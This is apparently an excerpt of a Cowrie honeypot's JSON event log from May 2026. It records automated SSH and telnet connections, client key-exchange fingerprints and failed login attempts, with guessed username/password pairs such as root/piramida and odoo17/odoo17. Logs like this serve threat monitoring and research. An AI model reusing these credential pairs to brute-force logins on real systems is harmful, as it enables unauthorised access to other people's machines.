{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49030,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e07c8487e5b","protocol":"ssh","message":"New connection: 192.109.200.237:49030 (159.203.135.109:22) [session: 5e07c8487e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:30.774412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:30.779117Z","src_ip":"192.109.200.237","session":"5e07c8487e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:30.861136Z","src_ip":"192.109.200.237","session":"5e07c8487e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:31.110636Z","src_ip":"192.109.200.237","session":"5e07c8487e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:32.264858Z","src_ip":"192.109.200.237","session":"5e07c8487e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":58538,"dst_ip":"10.17.0.5","dst_port":22,"session":"31a4e0481d98","protocol":"ssh","message":"New connection: 103.77.175.15:58538 (10.17.0.5:22) [session: 31a4e0481d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:32.657881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:32.662553Z","src_ip":"103.77.175.15","session":"31a4e0481d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:32.922643Z","src_ip":"103.77.175.15","session":"31a4e0481d98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51228,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7a64b9f9c06","protocol":"ssh","message":"New connection: 80.94.92.184:51228 (159.203.135.109:22) [session: a7a64b9f9c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:33.213625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:33.267673Z","src_ip":"80.94.92.184","session":"a7a64b9f9c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:33.363980Z","src_ip":"80.94.92.184","session":"a7a64b9f9c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"piramida","message":"login attempt [root/piramida] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:33.734498Z","src_ip":"103.77.175.15","session":"31a4e0481d98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49046,"dst_ip":"159.203.135.109","dst_port":22,"session":"2037695ade0e","protocol":"ssh","message":"New connection: 192.109.200.237:49046 (159.203.135.109:22) [session: 2037695ade0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:33.952473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:33.957399Z","src_ip":"192.109.200.237","session":"2037695ade0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:34.039890Z","src_ip":"192.109.200.237","session":"2037695ade0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:34.285701Z","src_ip":"192.109.200.237","session":"2037695ade0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:34.299961Z","src_ip":"80.94.92.184","session":"a7a64b9f9c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:34.997736Z","src_ip":"103.77.175.15","session":"31a4e0481d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:35.370160Z","src_ip":"192.109.200.237","session":"2037695ade0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:35.441074Z","src_ip":"80.94.92.184","session":"a7a64b9f9c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49052,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb9ca7c7fc34","protocol":"ssh","message":"New connection: 192.109.200.237:49052 (159.203.135.109:22) [session: eb9ca7c7fc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:37.092276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:37.157043Z","src_ip":"192.109.200.237","session":"eb9ca7c7fc34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:37.191263Z","src_ip":"192.109.200.237","session":"eb9ca7c7fc34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:37.497443Z","src_ip":"192.109.200.237","session":"eb9ca7c7fc34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.34228825569153,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:38.380481Z","src_ip":"50.6.8.71","session":"2db6db006a0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:38.583239Z","src_ip":"192.109.200.237","session":"eb9ca7c7fc34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84782862663269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:39.556733Z","src_ip":"50.6.8.71","session":"f936312591a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44734,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd0a39a27c46","protocol":"ssh","message":"New connection: 192.109.200.237:44734 (159.203.135.109:22) [session: fd0a39a27c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:40.427276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:40.434715Z","src_ip":"192.109.200.237","session":"fd0a39a27c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:40.516808Z","src_ip":"192.109.200.237","session":"fd0a39a27c46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:40.764192Z","src_ip":"192.109.200.237","session":"fd0a39a27c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:41.848793Z","src_ip":"192.109.200.237","session":"fd0a39a27c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44760,"dst_ip":"159.203.135.109","dst_port":22,"session":"8903f79b0e54","protocol":"ssh","message":"New connection: 192.109.200.237:44760 (159.203.135.109:22) [session: 8903f79b0e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:43.697861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:43.702438Z","src_ip":"192.109.200.237","session":"8903f79b0e54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:43.784121Z","src_ip":"192.109.200.237","session":"8903f79b0e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:44.030890Z","src_ip":"192.109.200.237","session":"8903f79b0e54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:45.154212Z","src_ip":"192.109.200.237","session":"8903f79b0e54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44780,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b88d3744dbe","protocol":"ssh","message":"New connection: 192.109.200.237:44780 (159.203.135.109:22) [session: 9b88d3744dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:46.940414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:46.949691Z","src_ip":"192.109.200.237","session":"9b88d3744dbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:47.032613Z","src_ip":"192.109.200.237","session":"9b88d3744dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57512,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf742530051","protocol":"telnet","message":"New connection: 50.6.8.71:57512 (10.17.0.5:23) [session: adf742530051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:47.088400Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:47.437366Z","src_ip":"192.109.200.237","session":"9b88d3744dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:48.522177Z","src_ip":"192.109.200.237","session":"9b88d3744dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":54616,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe3db68b1477","protocol":"ssh","message":"New connection: 185.236.22.41:54616 (10.17.0.5:22) [session: fe3db68b1477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:49.074235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:49.118879Z","src_ip":"185.236.22.41","session":"fe3db68b1477","protocol":"ssh"}
